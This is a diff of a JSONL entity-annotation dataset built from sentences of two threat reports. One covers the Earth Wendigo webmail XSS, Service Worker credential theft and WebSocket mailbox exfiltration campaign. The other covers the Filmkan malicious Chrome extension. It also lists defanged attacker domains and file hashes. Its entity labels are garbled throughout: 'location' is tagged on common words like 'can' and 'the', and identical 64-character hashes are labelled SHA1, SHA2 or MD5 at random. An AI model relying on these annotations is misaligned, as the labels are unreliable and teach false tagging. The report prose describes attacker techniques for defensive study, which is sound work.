 {"id":6198,"text":"The vulnerability, which exists inside the webmail system’s shortcut feature, allows users to create links on the webmail front page.","entities":[{"id":19150,"label":"tools","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":6199,"text":"The attacker can add a shortcut with a crafted payload by exploiting the XSS vulnerability, which replaces part of the original script from the webmail system with malicious JavaScript code.","entities":[{"id":19151,"label":"location","start_offset":13,"end_offset":16},{"id":19152,"label":"attack-pattern","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":6200,"text":"If this is successful, the victim will load the malicious code whenever they access the webmail page with the malicious shortcut added.","entities":[{"id":19153,"label":"location","start_offset":34,"end_offset":38},{"id":19154,"label":"location","start_offset":39,"end_offset":43},{"id":19155,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":6201,"text":"Note that the infection will not impact all of the users on the system simultaneously, but only those with infected mail accounts.","entities":[{"id":19156,"label":"location","start_offset":24,"end_offset":28},{"id":19157,"label":"location","start_offset":33,"end_offset":39},{"id":19158,"label":"location","start_offset":91,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":6202,"text":"We have reported the vulnerability to the company that developed the webmail system, which informed us that the vulnerability had been fixed since January 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":6203,"text":"It should not affect those who are using the latest version of the webmail system.","entities":[{"id":19160,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":6204,"text":"     Figure 8.","entities":[],"relations":[],"Comments":[]}
 {"id":6205,"text":"A shortcut containing malicious code that was added to the webmail system      Figure 9.","entities":[],"relations":[],"Comments":[]}
 {"id":6206,"text":"The query format used to trigger the XSS vulnerability     Service Worker script exploitation","entities":[{"id":19163,"label":"attack-pattern","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":6207,"text":"Another way the threat actor infects victims is by registering malicious JavaScript to the Service Worker script, which is a programmable network proxy inside the browser that provides an extended layer for websites and web applications to handle their communications while the network is unreachable.","entities":[{"id":19164,"label":"location","start_offset":8,"end_offset":11},{"id":19165,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
-{"id":6208,"text":"The security risk of Service Worker has been discussed and demonstrated by both PoC work and academic research — for example, a registered Service Worker could intercept and manipulate the requests between the client and the web server.","entities":[{"id":19166,"label":"location","start_offset":4,"end_offset":12},{"id":19167,"label":"location","start_offset":55,"end_offset":58},{"id":19168,"label":"location","start_offset":89,"end_offset":92},{"id":19169,"label":"location","start_offset":170,"end_offset":173},{"id":19170,"label":"location","start_offset":198,"end_offset":205},{"id":19171,"label":"location","start_offset":217,"end_offset":220}],"relations":[],"Comments":[]}
 {"id":6209,"text":"By examining one of the malicious scripts from the Earth Wendigo campaign, we discovered that it uploaded the tampered Service Worker script to the webmail server disguised as an original script provided by the server.","entities":[{"id":19173,"label":"threat-actor","start_offset":51,"end_offset":64},{"id":19174,"label":"location","start_offset":65,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":6210,"text":"It then registers the uploaded script to the user’s Service Worker before removing it from the server immediately after registration.","entities":[],"relations":[],"Comments":[]}
-{"id":6211,"text":"The registered Service Worker script checks the URL path from an intercepted request and performs various responses:  For HTTPS POST requests sent to “\/cgi-bin\/login,” which is the API for the authentication of webmail user login and contains the username and password pair, the Service Worker script will copy the pair and send it to a remote server.","entities":[{"id":19175,"label":"location","start_offset":85,"end_offset":88},{"id":19176,"label":"location","start_offset":128,"end_offset":132},{"id":19177,"label":"location","start_offset":230,"end_offset":233},{"id":19178,"label":"location","start_offset":256,"end_offset":259},{"id":19179,"label":"location","start_offset":301,"end_offset":305},{"id":19180,"label":"location","start_offset":320,"end_offset":323},{"id":19181,"label":"location","start_offset":337,"end_offset":343}],"relations":[],"Comments":[]}
 {"id":6212,"text":"For requests sent to “\/cgi-bin\/start,” which is a page wrapper used to show the main webmail page, the Service Worker script will reply by sending another page to the victim.","entities":[{"id":19182,"label":"location","start_offset":31,"end_offset":36},{"id":19183,"label":"malware","start_offset":50,"end_offset":54},{"id":19184,"label":"location","start_offset":93,"end_offset":97},{"id":19185,"label":"location","start_offset":125,"end_offset":129},{"id":19186,"label":"malware","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":6213,"text":"This new page is almost similar to the original wrapper but injected with a script element meant to load malicious script from Earth Wendigo’s server.","entities":[{"id":19187,"label":"location","start_offset":9,"end_offset":13},{"id":19188,"label":"location","start_offset":100,"end_offset":104},{"id":19189,"label":"threat-actor","start_offset":127,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":6214,"text":"Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background.","entities":[{"id":19190,"label":"tools","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":6215,"text":"      Figure 10. The malicious script used to upload and register the Service Worker script      Figure 11. The Service Worker script used to steal credentials and reply to the user with a modified wrapper page      Figure 12. The wrapper page with the malicious script (highlighted)     Email exfiltration","entities":[{"id":19192,"label":"location","start_offset":53,"end_offset":56},{"id":19193,"label":"location","start_offset":57,"end_offset":65},{"id":19195,"label":"location","start_offset":160,"end_offset":163},{"id":19196,"label":"location","start_offset":206,"end_offset":210},{"id":19198,"label":"location","start_offset":239,"end_offset":243}],"relations":[],"Comments":[]}
-{"id":6216,"text":"At the end of the attack, Earth Wendigo delivers a JavaScript code that then creates a WebSocket connection to a remote server and executes the script returned from the server.","entities":[{"id":19200,"label":"location","start_offset":113,"end_offset":119},{"id":19201,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":6217,"text":"We found that the returned script is a backdoor that gets its instructions from the WebSocket server.","entities":[],"relations":[],"Comments":[]}
-{"id":6218,"text":"It has only one command, “get(‘URL’),” to perform a request from the victim’s browser to the webmail server and collect the response back to the WebSocket server. The usage of the backdoor we found, in this case, is for the mailbox exfiltration.","entities":[{"id":19203,"label":"location","start_offset":108,"end_offset":111},{"id":19204,"label":"location","start_offset":207,"end_offset":211}],"relations":[],"Comments":[]}
 {"id":6219,"text":"     Figure 13.","entities":[],"relations":[],"Comments":[]}
 {"id":6220,"text":"The email exfiltration flow with WebSocket backdoor      Figure 14.","entities":[],"relations":[],"Comments":[]}
 {"id":6221,"text":"The script used to establish WebSocket communication      Figure 15.","entities":[],"relations":[],"Comments":[]}
-{"id":6222,"text":"The main script of the backdoor used to get the URL payload and send it back to the WebSocket server      Figure 16.","entities":[{"id":19208,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":6223,"text":"An example of WebSocket communication traffic and email exfiltration flow     A typical sequence used for mailbox exfiltration:","entities":[{"id":19210,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":6224,"text":"1.      The WebSocket server returns a backdoor script that is executed on the victim’s browser 2.      The backdoor sends the webmail session key, browser cookies, webpage location, and browser user agent string back to the WebSocket server to register the victim’s information 3.      The WebSocket server sends the command “get(‘\/cgi-bin\/folder_tree2?cmd=…’)” to grab the list of existing mailboxes under the victim’s mail account 4.      The WebSocket server sends the command “get(‘\/cgi-bin\/msg_list?cmd=…’)” to grab the list of emails inside a mailbox that they are interested in reading 5.      The WebSocket server sends the command, “get(‘\/cgi-bin\/msg_read?cmd=pring_mail&…’)”","entities":[{"id":19211,"label":"location","start_offset":183,"end_offset":186},{"id":19212,"label":"location","start_offset":245,"end_offset":253},{"id":19213,"label":"location","start_offset":375,"end_offset":379},{"id":19214,"label":"location","start_offset":526,"end_offset":530},{"id":19215,"label":"location","start_offset":568,"end_offset":571},{"id":19216,"label":"location","start_offset":586,"end_offset":593}],"relations":[],"Comments":[]}
-{"id":6225,"text":"to read the email listed in the response seen in the previous step; it reads each email sequentially from the mailbox and sends it back to the WebSocket server 6.      If a stolen email has attachments, the WebSocket server sends the command “get(‘att:\/cgi-bin\/downfile\/…’)” to grab the relevant attachment from the webmail server and slice it into 4096 bytes as chunks to return to the WebSocket server.","entities":[{"id":19217,"label":"location","start_offset":118,"end_offset":121},{"id":19218,"label":"location","start_offset":331,"end_offset":334}],"relations":[],"Comments":[]}
-{"id":6226,"text":"These steps are repeatedly performed until they receive the victim’s entire mailbox.","entities":[{"id":19219,"label":"location","start_offset":12,"end_offset":15}],"relations":[],"Comments":[]}
 {"id":6227,"text":"Additional Findings","entities":[],"relations":[],"Comments":[]}
 {"id":6228,"text":"Besides their attack on webmail servers, we also found multiple malware variants used by Earth Wendigo.","entities":[],"relations":[],"Comments":[]}
-{"id":6229,"text":"These malware variants, which are written in Python and compiled as Windows executables, communicate to a malicious domain — the same one used in this attack.","entities":[{"id":19221,"label":"location","start_offset":30,"end_offset":33},{"id":19223,"label":"location","start_offset":52,"end_offset":55},{"id":19225,"label":"location","start_offset":129,"end_offset":133},{"id":19226,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":6230,"text":"Most of them are shellcode loaders that load embedded shellcode likely from Cobalt Strike.","entities":[{"id":19227,"label":"location","start_offset":0,"end_offset":4},{"id":19228,"label":"location","start_offset":8,"end_offset":12},{"id":19229,"label":"location","start_offset":13,"end_offset":16},{"id":19230,"label":"location","start_offset":40,"end_offset":44},{"id":19231,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":6231,"text":"Some of them are backdoors that will communicate with the command and control (C&C)) server to request and execute additional python code.","entities":[{"id":19233,"label":"location","start_offset":8,"end_offset":12},{"id":19234,"label":"location","start_offset":13,"end_offset":16},{"id":19235,"label":"location","start_offset":32,"end_offset":36},{"id":19236,"label":"location","start_offset":66,"end_offset":69},{"id":19237,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":6232,"text":"However, we don’t know what code they delivered because the server was already down when we were verifying the malware variants.","entities":[],"relations":[],"Comments":[]}
-{"id":6233,"text":"It’s also not clear how they were delivered to the victims.","entities":[{"id":19238,"label":"location","start_offset":14,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":6234,"text":"     Figure 17.","entities":[],"relations":[],"Comments":[]}
 {"id":6235,"text":"The Python script decompiled from the malware","entities":[],"relations":[],"Comments":[]}
 {"id":6236,"text":"    Conclusion","entities":[],"relations":[],"Comments":[]}
 {"id":6237,"text":"While Earth Wendigo uses typical spear-phishing techniques to initiate their attack, the threat actor also uses many atypical techniques to infiltrate the targeted organizations, such as the use of mail signature manipulation and Service Worker infection.","entities":[{"id":19240,"label":"threat-actor","start_offset":6,"end_offset":19},{"id":19241,"label":"location","start_offset":33,"end_offset":38},{"id":19242,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":19243,"label":"location","start_offset":112,"end_offset":116},{"id":19244,"label":"location","start_offset":226,"end_offset":229}],"relations":[],"Comments":[]}
 {"id":6238,"text":"The impact of spear-phishing attacks can be minimized by following security best practices, which include refraining from opening emails sent by suspicious sources.","entities":[{"id":19245,"label":"location","start_offset":4,"end_offset":10},{"id":19246,"label":"location","start_offset":14,"end_offset":19},{"id":19247,"label":"attack-pattern","start_offset":20,"end_offset":28},{"id":19248,"label":"location","start_offset":37,"end_offset":40},{"id":19249,"label":"location","start_offset":67,"end_offset":75},{"id":19250,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":6239,"text":"We also encourage both users and organizations to upgrade their servers to the latest version to prevent compromise via vulnerability exploits.","entities":[{"id":19251,"label":"location","start_offset":29,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":6240,"text":"To avoid XSS attacks similar to what we described in this report, we recommend adapting Contant-Security-Policy (CSP) for websites.","entities":[{"id":19252,"label":"attack-pattern","start_offset":9,"end_offset":12},{"id":19253,"label":"location","start_offset":96,"end_offset":104}],"relations":[],"Comments":[]}
 {"id":6241,"text":"Indicators of Compromise  Indicator  Description  Detection  mail2000tw[.]com  Domain operated by Earth Wendigo     bf[.]mail2000tw[.]com  Domain operated by Earth Wendigo     admin[.]mail2000tw[.]com  Domain operated by Earth Wendigo     googletwtw[.]com  Domain operated by Earth Wendigo     bf[.]googletwtw[.]com  Domain operated by Earth Wendigo     ws[.]googletwtw[.]com  Domain operated by Earth Wendigo     admin[.]googletwtw[.]com  Domain operated by Earth Wendigo     anybodyopenfind[.]com  Domain operated by Earth Wendigo     support[.]anybodyopenfind[.]com  Domain operated by Earth Wendigo     supports[.]anybodyopenfind[.]com  Domain operated by Earth Wendigo     supportss[.]anybodyopenfind[.]com  Domain operated by Earth Wendigo     a61e84ac9b9d3009415c7982887dd7834ba2e7c8ea9098f33280d82b9a81f923  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  66cf12bb9b013c30f9db6484caa5d5d0a94683887cded2758886aae1cb5c1c65  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  4cdaca6b01f52092a1dd30fc68ee8f6d679ea6f7a21974e4a3eb8d14be6f5d74  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  f50a589f3b3ebcc326bab55d1ef271dcec372c25d65f381a409ea85929a34b49  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  e047aa878f9e7a55a80cc1b70d0ac9840251691e91ab6454562afbff427b0879  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  a1a6dc2a6c795fc315085d00aa7fdabd1f043b28c68d4f98d4152fe539f026f1  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  10d2158828b953ff1140376ceb79182486525fd14b98f743dafa317110c1b289  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  0e04a03afa5b66014457136fb4d437d51da9067dc88452f9ebd098d10c97c5b8  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  75f3f724a2bfda1e74e0de36ff6a12d3f2ea599a594845d7e6bc7c76429e0fa4  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  c3bc364409bb0c4453f6d80351477ff8a13a1acdc5735a9dff4ea4b3f5ad201c  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  5251087bb2a0c87ac60c13f2edb7c39fb1ea26984fcc07e4cf8b39db31ce2b08  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  7fa9a58163dd233065a86f9ed6857ed698fc6e454e6b428ea93f4f711279fb61  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  f568f823959be80a707e05791718c1c3c377da1b0db1865821c1cf7bc53b6084  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  a54d58d5a5812abaede3e2012ae757d378fb51c7d3974eaa3a3f34511161c1db  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  77c3d62cce21c2c348f825948042f7d36999e3be80db32ac98950e88db4140b1  Earth Wendigo XSS attack script  Trojan.JS.WENDIGOE.A  c0dabb52c73173ea0b597ae4ad90d67c23c85110b06aa3c9e110a852ebe04420  Earth Wendigo Service Worker script  Trojan.JS.WENDIGOE.A  efe541889f3da7672398d7ad00b8243e94d13cc3254ed59cd547ad172c1aa4be  Earth Wendigo WebSocket JavaScript backdoor  Backdoor.JS.WENDIGOE.A  2411b7b9ada83f6586278e0ad36b42a98513c9047a272a5dcb4a2754ba8e6f1d  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.A  1de54855b15fc55b4a865723224119029e51b381a11fda5d05159c74f50cb7de  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.A  d935c9fe8e229f1dabcc0ceb02a9ce7130ae313dd18de0b1aca69741321a7d1b  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.B  50f23b6f4dff77ce4101242ebc3f12ea40156a409a7417ecf6564af344747b76  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    fab0c4e0992afe35c5e99bf9286db94313ffedc77d138e96af940423b2ca1cf2  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    4d9c63127befad0b65078ccd821a9cd6c1dccec3e204a253751e7213a2d39e39  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    25258044c838c6fc14a447573a4a94662170a7b83f08a8d76f96fbbec3ab08e2  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    13952e13d310fb5102fd4a90e4eafe6291bc97e09eba50fedbc2f8900c80165f  Earth Wendigo Shellcode Loader  Trojan.Win32.WENDIGOE.C    ccb7be5a5a73104106c669d7c58b13a55eb9db3b3b5a6d3097ac8b68f2555d39  Earth Wendigo Shellcode Loader  Trojan.Win64.WENDIGOE.A    40a251184bb680edadfa9778a37135227e4191163882ccf170835e0658b1e0ed  Earth Wendigo Shellcode Loader  Trojan.Win64.WENDIGOE.B    0d6c3cc46be2c2c951c24c695558be1e2338635176fa34e8b36b3e751ccdb0de  Cobalt Strike  Trojan.Win32.COBALT.SM       Tags  Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":19254,"label":"threat-actor","start_offset":98,"end_offset":111},{"id":19255,"label":"threat-actor","start_offset":158,"end_offset":171},{"id":19256,"label":"threat-actor","start_offset":221,"end_offset":234},{"id":19257,"label":"threat-actor","start_offset":276,"end_offset":289},{"id":19258,"label":"threat-actor","start_offset":336,"end_offset":349},{"id":19259,"label":"threat-actor","start_offset":396,"end_offset":409},{"id":19260,"label":"threat-actor","start_offset":459,"end_offset":472},{"id":19261,"label":"threat-actor","start_offset":519,"end_offset":532},{"id":19262,"label":"threat-actor","start_offset":589,"end_offset":602},{"id":19263,"label":"threat-actor","start_offset":660,"end_offset":673},{"id":19264,"label":"threat-actor","start_offset":732,"end_offset":745},{"id":19265,"label":"SHA1","start_offset":750,"end_offset":814},{"id":19266,"label":"threat-actor","start_offset":816,"end_offset":829},{"id":19267,"label":"attack-pattern","start_offset":830,"end_offset":833},{"id":19268,"label":"SHA1","start_offset":871,"end_offset":935},{"id":19269,"label":"threat-actor","start_offset":937,"end_offset":950},{"id":19270,"label":"attack-pattern","start_offset":951,"end_offset":954},{"id":19271,"label":"SHA1","start_offset":992,"end_offset":1056},{"id":19272,"label":"threat-actor","start_offset":1058,"end_offset":1071},{"id":19273,"label":"attack-pattern","start_offset":1072,"end_offset":1075},{"id":19274,"label":"SHA2","start_offset":1113,"end_offset":1177},{"id":19275,"label":"threat-actor","start_offset":1179,"end_offset":1192},{"id":19276,"label":"attack-pattern","start_offset":1193,"end_offset":1196},{"id":19277,"label":"SHA2","start_offset":1234,"end_offset":1298},{"id":19278,"label":"threat-actor","start_offset":1300,"end_offset":1313},{"id":19279,"label":"attack-pattern","start_offset":1314,"end_offset":1317},{"id":19280,"label":"SHA2","start_offset":1355,"end_offset":1419},{"id":19281,"label":"threat-actor","start_offset":1421,"end_offset":1434},{"id":19282,"label":"attack-pattern","start_offset":1435,"end_offset":1438},{"id":19283,"label":"SHA2","start_offset":1476,"end_offset":1540},{"id":19284,"label":"threat-actor","start_offset":1542,"end_offset":1555},{"id":19285,"label":"attack-pattern","start_offset":1556,"end_offset":1559},{"id":19286,"label":"MD5","start_offset":1597,"end_offset":1661},{"id":19287,"label":"threat-actor","start_offset":1663,"end_offset":1676},{"id":19288,"label":"attack-pattern","start_offset":1677,"end_offset":1680},{"id":19289,"label":"SHA2","start_offset":1718,"end_offset":1782},{"id":19290,"label":"threat-actor","start_offset":1784,"end_offset":1797},{"id":19291,"label":"attack-pattern","start_offset":1798,"end_offset":1801},{"id":19292,"label":"SHA2","start_offset":1839,"end_offset":1903},{"id":19293,"label":"threat-actor","start_offset":1905,"end_offset":1918},{"id":19294,"label":"attack-pattern","start_offset":1919,"end_offset":1922},{"id":19295,"label":"SHA2","start_offset":1960,"end_offset":2024},{"id":19296,"label":"threat-actor","start_offset":2026,"end_offset":2039},{"id":19297,"label":"attack-pattern","start_offset":2040,"end_offset":2043},{"id":19298,"label":"SHA2","start_offset":2081,"end_offset":2145},{"id":19299,"label":"threat-actor","start_offset":2147,"end_offset":2160},{"id":19300,"label":"attack-pattern","start_offset":2161,"end_offset":2164},{"id":19301,"label":"SHA1","start_offset":2202,"end_offset":2266},{"id":19302,"label":"threat-actor","start_offset":2268,"end_offset":2281},{"id":19303,"label":"attack-pattern","start_offset":2282,"end_offset":2285},{"id":19304,"label":"SHA1","start_offset":2323,"end_offset":2387},{"id":19305,"label":"threat-actor","start_offset":2389,"end_offset":2402},{"id":19306,"label":"attack-pattern","start_offset":2403,"end_offset":2406},{"id":19307,"label":"SHA1","start_offset":2444,"end_offset":2508},{"id":19308,"label":"threat-actor","start_offset":2510,"end_offset":2523},{"id":19309,"label":"attack-pattern","start_offset":2524,"end_offset":2527},{"id":19310,"label":"SHA2","start_offset":2565,"end_offset":2630},{"id":19311,"label":"threat-actor","start_offset":2632,"end_offset":2645},{"id":19312,"label":"SHA2","start_offset":2691,"end_offset":2755},{"id":19313,"label":"threat-actor","start_offset":2757,"end_offset":2770},{"id":19314,"label":"SHA1","start_offset":2826,"end_offset":2890},{"id":19315,"label":"threat-actor","start_offset":2892,"end_offset":2905},{"id":19316,"label":"SHA1","start_offset":2949,"end_offset":3013},{"id":19317,"label":"threat-actor","start_offset":3015,"end_offset":3028},{"id":19318,"label":"SHA2","start_offset":3072,"end_offset":3136},{"id":19319,"label":"threat-actor","start_offset":3138,"end_offset":3151},{"id":19320,"label":"SHA1","start_offset":3195,"end_offset":3259},{"id":19321,"label":"threat-actor","start_offset":3261,"end_offset":3274},{"id":19322,"label":"SHA1","start_offset":3320,"end_offset":3384},{"id":19323,"label":"threat-actor","start_offset":3386,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-{"id":6242,"text":"This post is also available in:      日本語 (Japanese)  On January 31, a security researcher named Mohammad Faghani posted an analysis of malware that was being distributed through Facebook posts.","entities":[{"id":19337,"label":"location","start_offset":5,"end_offset":9},{"id":19340,"label":"location","start_offset":70,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":6243,"text":"Based on the number of “likes” the malware had generated, Faghani estimated that over 100,000 users had been infected with the malware.","entities":[],"relations":[],"Comments":[]}
-{"id":6244,"text":"We have not been able to identify a common name for this malware and have given it the designation “Filmkan” based on domains it uses for command and control.","entities":[{"id":19345,"label":"location","start_offset":65,"end_offset":68},{"id":19346,"label":"location","start_offset":74,"end_offset":79},{"id":19347,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":6245,"text":" Based on our analysis, this malware was most likely created by a Turkish actor.","entities":[{"id":19348,"label":"location","start_offset":41,"end_offset":45},{"id":19349,"label":"location","start_offset":46,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":6246,"text":"The malware contains many comments written in Turkish, the domains used for command and control were registered through a Turkish company and the social network profiles involved in the attack belong to Turkish speakers.","entities":[{"id":19351,"label":"location","start_offset":21,"end_offset":25},{"id":19353,"label":"location","start_offset":84,"end_offset":87},{"id":19355,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":6247,"text":" Filmkan is very flexible, giving it more capability than simple interaction with social networks.","entities":[],"relations":[],"Comments":[]}
-{"id":6248,"text":"The overall motivation of this attack is not clear at this time, but the author of Filmkan has successfully assembled a large botnet in a short amount of time.","entities":[{"id":19358,"label":"location","start_offset":4,"end_offset":11},{"id":19359,"label":"location","start_offset":45,"end_offset":50},{"id":19360,"label":"location","start_offset":59,"end_offset":63},{"id":19362,"label":"location","start_offset":120,"end_offset":125},{"id":19363,"label":"location","start_offset":138,"end_offset":143},{"id":19364,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":6249,"text":" While the initial report only contained sparse details, Faghani followed up with additional analysis on February 2, exposing more functionality related to the malware.","entities":[{"id":19365,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":6250,"text":"Our WildFire analysis cloud first picked up samples of this malware on January 22 and thus far we’ve collected 44 distinct samples the display the behavior described by Faghani.","entities":[{"id":19368,"label":"tools","start_offset":4,"end_offset":12},{"id":19369,"label":"location","start_offset":22,"end_offset":27},{"id":19371,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":6251,"text":" At a high level, this malware consists of four components:  The initial infection occurs when a user clicks on a link in a Facebook post, which claims to be a pornographic video.","entities":[{"id":19374,"label":"location","start_offset":6,"end_offset":16},{"id":19377,"label":"location","start_offset":133,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":6252,"text":"After a few seconds the video tells the user they need to download an update for Flash player, which is the initial dropper executable.","entities":[{"id":19378,"label":"TIME","start_offset":6,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":6253,"text":"The attacker hosted the linked executables through Google’s cloud storage at the following URLs:","entities":[{"id":19380,"label":"location","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":6254,"text":" The Filmkan dropper has a Flash icon to help make it appear as a legitimate update.  The author of Filmkan created the dropper using AutoHotkey (AHK), a legitimate tool for creating Windows applications using a custom scripting language.","entities":[{"id":19383,"label":"location","start_offset":165,"end_offset":169},{"id":19384,"label":"attack-pattern","start_offset":219,"end_offset":228}],"relations":[],"Comments":[]}
-{"id":6255,"text":"AHK scripts are compiled into binaries that interpret the script code, making them portable to any Windows system.","entities":[{"id":19385,"label":"location","start_offset":12,"end_offset":15},{"id":19386,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":6256,"text":"The AHK scripts included in the Filmkan binaries contain many debugging strings written in Turkish.","entities":[{"id":19388,"label":"location","start_offset":57,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":6257,"text":"The scripts have the following functionality:  While the dropper is responsible for the initial installation and updating itself, the remaining functionality is contained in the Filmkan Chrome extension.","entities":[{"id":19390,"label":"location","start_offset":109,"end_offset":112},{"id":19393,"label":"location","start_offset":193,"end_offset":202}],"relations":[],"Comments":[]}
 {"id":6258,"text":" Chrome extensions  allow developers to extend Google’s Chrome browser, typically by adding new functionality.","entities":[],"relations":[],"Comments":[]}
-{"id":6259,"text":"Developers write extensions in JavaScript and HTML, which is typically included in a package along with resources necessary to operate the extension.","entities":[{"id":19396,"label":"location","start_offset":42,"end_offset":45},{"id":19397,"label":"location","start_offset":93,"end_offset":98},{"id":19398,"label":"location","start_offset":139,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":6260,"text":" The Filmkan dropper retrieves JavaScript using the installed wget.exe program from one of the three defined C2 servers.","entities":[{"id":19400,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":6261,"text":"The dropper saves this JavaScript code as “bg.txt”, which is defined in the installed Chrome extension manifest as a “background” script.","entities":[{"id":19402,"label":"location","start_offset":93,"end_offset":102},{"id":19403,"label":"location","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":6262,"text":"This script will run whenever the Chrome browser is open on the system.","entities":[{"id":19404,"label":"location","start_offset":12,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":6263,"text":" The content of the bg.txt file can be changed any time the attacker chooses.","entities":[{"id":19405,"label":"location","start_offset":5,"end_offset":12},{"id":19406,"label":"location","start_offset":32,"end_offset":35},{"id":19407,"label":"location","start_offset":51,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":6264,"text":"The current version of the script contains three primary functions.","entities":[],"relations":[],"Comments":[]}
-{"id":6265,"text":" The chrome extension closes any tab the user opens that matches the following URLs, effectively preventing the user from discovering or removing the extension.  The extension downloads an array of JSON data from hxxp:\/\/www.filmver .com\/ahk\/get.js.","entities":[{"id":19409,"label":"location","start_offset":12,"end_offset":21},{"id":19410,"label":"location","start_offset":33,"end_offset":36},{"id":19411,"label":"location","start_offset":150,"end_offset":159},{"id":19412,"label":"location","start_offset":166,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":6266,"text":"The extension uses this data as a denylist, preventing the browser from loading URLs that contain any of the following strings.","entities":[{"id":19413,"label":"location","start_offset":4,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6267,"text":" Blocking antivirus and security-related domains is a common tactic malware authors use to prevent users from removing an infection, but many of the domains included in this list are mysterious.","entities":[{"id":19414,"label":"location","start_offset":20,"end_offset":23},{"id":19415,"label":"location","start_offset":24,"end_offset":32},{"id":19416,"label":"location","start_offset":137,"end_offset":141},{"id":19417,"label":"location","start_offset":174,"end_offset":178},{"id":19418,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":6268,"text":"JoyGame.com is a Turkish video game website, while exelansdealers.com was previously used to host a similar malicious Chrome extension.","entities":[{"id":19422,"label":"location","start_offset":93,"end_offset":97},{"id":19424,"label":"location","start_offset":125,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":6269,"text":" The third primary function of this extension is to download and execute JavaScript code from hxxp:\/\/www.filmver .com\/ahk\/user.php.","entities":[{"id":19426,"label":"location","start_offset":36,"end_offset":45},{"id":19427,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
-{"id":6270,"text":"This function makes the Filmkan extension very flexible, as the attacker can modify the script at any time.","entities":[{"id":19429,"label":"location","start_offset":32,"end_offset":41},{"id":19430,"label":"location","start_offset":73,"end_offset":76},{"id":19431,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":6271,"text":" When Faghani first published his analysis this component of the malware was forcing the user’s Facebook account to “like” specific posts on a community page titled Sabır.","entities":[{"id":19433,"label":"location","start_offset":143,"end_offset":152},{"id":19434,"label":"malware","start_offset":153,"end_offset":157}],"relations":[],"Comments":[]}
-{"id":6272,"text":"Some of these posts garnered over 100,000 likes, despite containing very little content.","entities":[{"id":19437,"label":"location","start_offset":73,"end_offset":79},{"id":19438,"label":"location","start_offset":80,"end_offset":87}],"relations":[],"Comments":[]}
